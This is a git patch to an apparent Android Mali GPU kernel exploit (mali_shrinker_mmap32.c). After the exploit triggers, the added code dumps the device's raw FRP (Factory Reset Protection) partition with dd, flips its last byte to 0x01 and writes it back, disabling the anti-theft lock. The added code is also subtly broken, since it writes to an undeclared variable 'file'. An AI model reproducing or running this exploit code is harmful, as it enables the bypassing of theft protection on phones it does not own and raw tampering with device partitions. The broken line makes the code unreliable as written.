From ca6f3c5cd0fd9f9567fc9c0ef1fef61d44841e6c Mon Sep 17 00:00:00 2001 From: Syuugo Date: Fri, 19 Jul 2024 03:11:42 +0900 Subject: [PATCH] =?UTF-8?q?FRP=20=E3=82=92=E8=87=AA=E5=8B=95=E3=81=A7?= =?UTF-8?q?=E4=BF=AE=E6=AD=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Syuugo --- mali_shrinker_mmap32.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c index e9e2e88..b407cda 100644 --- a/mali_shrinker_mmap32.c +++ b/mali_shrinker_mmap32.c @@ -870,7 +870,28 @@ int main() { int flush_idx = 0; for (int i = 0; i < 10; i++) { if(!trigger(mali_fd, mali_fd2, &flush_idx)) { + printf("\nSELinux is "); system("getenforce"); + printf("Tampering with FRP..."); + system("rm -f /data/local/tmp/frp"); + system("dd if=/dev/block/by-name/frp of=/data/local/tmp/frp"); + FILE *frp = fopen("/data/local/tmp/frp", "r+b"); + if (frp == NULL) { + perror("Couldn't read cloned FRP."); + return 1; + } + if (fseek(frp, 524288 - 1, SEEK_SET) != 0) { + perror("Error seeking to the last byte."); + fclose(frp); + return 1; + } + if (fputc(0x01, file) == EOF) { + perror("Failed to fix byte. (7FFF8:0x01)"); + fclose(frp); + return 1; + } + fclose(frp); + system("dd if=/data/local/tmp/frp of=/dev/block/by-name/frp"); break; } }